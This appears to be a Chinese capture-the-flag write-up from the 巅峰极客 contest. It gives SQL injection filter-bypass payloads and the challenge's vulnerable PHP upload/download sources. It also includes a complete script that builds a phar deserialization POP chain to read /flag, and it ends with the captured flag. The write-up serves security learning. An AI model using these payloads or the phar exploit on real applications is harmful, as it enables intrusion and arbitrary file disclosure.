比赛

巅峰极客

巅峰极客

aweb_1

abcdefghij1@qq.com

黑名单:union

fuckyoufuck'/**/or/**/1^'0

最后payload:admin'/*ffuuucckyou*/or/**/'

upload

已知文件:file.php,download.php,index.php,upload_file.php

download.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

$name = $_GET['name'];
$url = $_SERVER['QUERY_STRING'];
if (isset($name)){
    if (preg_match('/\.|etc|var|tmp|usr/i', $url)){
        echo("hacker!");
    }
    else{
        if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
            echo ("hacker!");
        }
        else{
            $name = safe_replace($name);
            if (preg_match('/base|class|file|function|index|upload_file/i', $name)){
                $filename = $name.'.php';
                $dir ="./";
                $down_host = $_SERVER['HTTP_HOST'].'/';
                if(file_exists(__DIR__.'/'.$dir.$filename)){
                    $file = fopen ( $dir.$filename, "rb" );
                    Header ( "Content-type: application/octet-stream" );
                    Header ( "Accept-Ranges: bytes" );
                    Header ( "Accept-Length: " . filesize ( $dir.$filename ) );
                    Header ( "Content-Disposition: attachment; filename=" . $filename );
                    echo fread ( $file, filesize ( $dir . $filename ) );
                    fclose ( $file );
                    exit ();
                }else{
                    echo ("file doesn't exist.");
                }
            }
            if (preg_match('/flag/i', $name)){
                echo ("hacker!");
            }
        }
    }
}

file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php';
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
}
if(preg_match('/http|https|file:|gopher|dict|\.\/|\.\.|flag/i',$file)) {
            die('hacker!'); 
}elseif(!preg_match('/\//i',$file))
{
    die('hacker!');
}
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __toString()
    {
        $text= $this->source;
        $text = base64_encode(file_get_contents($text));
        return $text;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|flag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class S6ow
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
    }
    public function file_get($value)
    {
        echo $this->file;
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = new Show('index.php');
        $this->str->source = $this->test;

    }
    public function __destruct()
    {
        $this->str->_show();
    }
}
?>

分析发现一堆类，且file_exists可以触发phar反序列化漏洞

pop链:

sh0w($str=new S6ow)->S6ow($file=new Show,$_show="file_get")->Show($source='/flag')

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
<?php
class Show
{
    public $source;
    public $str;
    public function __construct()
    {
        $this->source="/flag";
        $this->str="";
        $text= $this->source;

    }
    public function __toString()
    {
        $text= $this->source;

    }

}
class S6ow
{
    public $file;
    public $params;
    public $_show;
    public function __construct()
    {
        $this->params = array();
        $this->file=new Show;
        $this->_show="file_get";

    }
    public function __get($key)
    {
        return $this->params[$key];
    }
    public function __call($name, $arguments)
    {
        $name="_show";
        print($name);
        print($this->{$name});
        if($this->{$name})
            $this->{$this->{$name}}($arguments);
            //$this->file_get($arguments);
            //$this->{$name}="file_get"
            //$name=_show
            //$file=new Show;
    }
    public function file_get($value)
    {
    }
}

class Sh0w
{
    public $test;
    public $str;
    public function __construct()
    {
        $this->str =new S6ow;
        $this->test="";

    }
    public function __destruct()
    {
        $this->str->_show();
    }
}


$a=new Sh0w();

@unlink("hello.phar");
$phar = new Phar("phar.phar"); //后缀名必须为phar,phar伪协议不用phar后缀
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub,只要后面部分为__HALT_COMPILER(); 
$phar->setMetadata($a); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

?>

flag{a592b240-32ae-4381-a0ab-83790c98ca28}